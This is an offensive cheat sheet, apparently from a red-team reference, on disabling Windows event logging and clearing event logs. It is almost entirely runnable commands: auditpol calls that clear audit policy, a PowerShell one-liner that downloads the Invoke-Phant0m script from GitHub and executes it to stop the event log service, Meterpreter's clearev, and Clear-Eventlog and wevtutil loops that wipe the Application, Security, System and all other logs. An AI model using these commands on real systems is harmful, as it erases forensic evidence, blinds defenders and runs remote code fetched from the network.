Disable Windows Event Logging

Disable Windows Event Logging

Permissions: Administrator

1) Auditpol

Delete the per-user audit policy for all users, reset the system audit policy settings for all subcategories, and set all the audit policy settings to disabled,

auditpol.exe /clear /y
auditpol.exe  /remove /allusers

2) Invoke-Phant0m

Completely disables the event log service. Requires a system restart to return normal operation.

iex (iwr -usebasicparsing https://raw.githubusercontent.com/olafhartong/Invoke-Phant0m/master/Invoke-Phant0m.ps1);Invoke-Phant0m

Clear Windows Event Logs

Permissions: User or Admin

1) Metasploit

Meterpreter

clearev

2) Powershell

Clear Application,Security and System Logs

Clear-Eventlog -LogName Application,Security,System

Utilize PowerShell with Wevtutil to clear all logs from the system

wevtutil el | Foreach-Object {wevtutil cl $_}

3) Wevtutil

Clear all logs on the system (cmd)

 for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"

Clear select logs

wevtutil cl system
wevtutil cl application
wevtutil cl security